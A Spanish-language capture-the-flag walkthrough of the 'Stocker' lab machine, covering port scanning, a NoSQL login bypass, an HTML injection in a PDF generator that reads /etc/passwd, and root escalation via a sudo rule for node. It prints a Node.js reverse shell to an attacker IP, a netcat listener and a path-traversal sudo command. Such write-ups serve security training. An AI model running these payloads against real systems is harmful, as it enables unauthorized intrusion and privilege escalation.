Ir al contenido

Stocker

Autor
Santiago Chavarro

Descripción:
#

Maquina sencilla que mediante una inyección NoSQL podemos saltar un login y luego mediante un generador de PDF’s dinamicos listar archivos y hallat credenciales, en la escalada explotamos un permiso de sudoers Node

Enumeración
#

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn IP -oG allPorts

Esto nos mostrara que hay dos puertos el 22 y el 80.

whatweb IP

Vemos el dominio que es stocker.htb lo agregamos al /etc/hosts y continuamos con el escaneo de puertos.

nmap -p22,80 -sVC 10.129.184.222 -A -oN target

Vamos a listar subdominios a ver si encontramos algo interesante

<img src=\"x\" onerror=\"document.write('<iframe src=file:///etc/passwd width=100% height=100%></iframe>')\" />

Solo hay dos usuarios con shell root y angoose, ahora vamos a empezar a listar archivos del subdominio dev.stocker.htb suponiendo que por lo general esta en /var/www/dev/ si listamos el index.js:

Hay lo que podria ser una contraseña de lo que parece ser el usuario dev pero si recordamos no hay ningun usuario dev por lo que vamos a probar la contraseña con angoose y nos funcionara mediante ssh.

Root
#

Despues de conectarnos hacemos el tratamiento de la tty mas basico:

export TERM=xterm

Listando permisos con sudo -l, y tenemos que hay un binario que podemos ejecutar que es node

Vemos que solo podemos ejecutar los archivos de extension js en la carpeta /usr/local/scripts/ pero podemos tratar de hacer un directory traversal por lo que lo primero que vamos a hacer es entrar a https://www.revshells.com/ y mirar la shell #2 que tienen para node

cd /tmp
nano rev.js

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("sh", []);
    var client = new net.Socket();
    client.connect(4444, "IP", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

Ahora lo que vamos a hacer es poner nuestra maquina en escucha y tartar de ejecutar el binario con los permisos sudo.

#Atacante
nc -lvnp 4444

#Victima 
sudo node /usr/local/scripts/../../../../tmp/rev.js

Y con esto terminamos la maquina.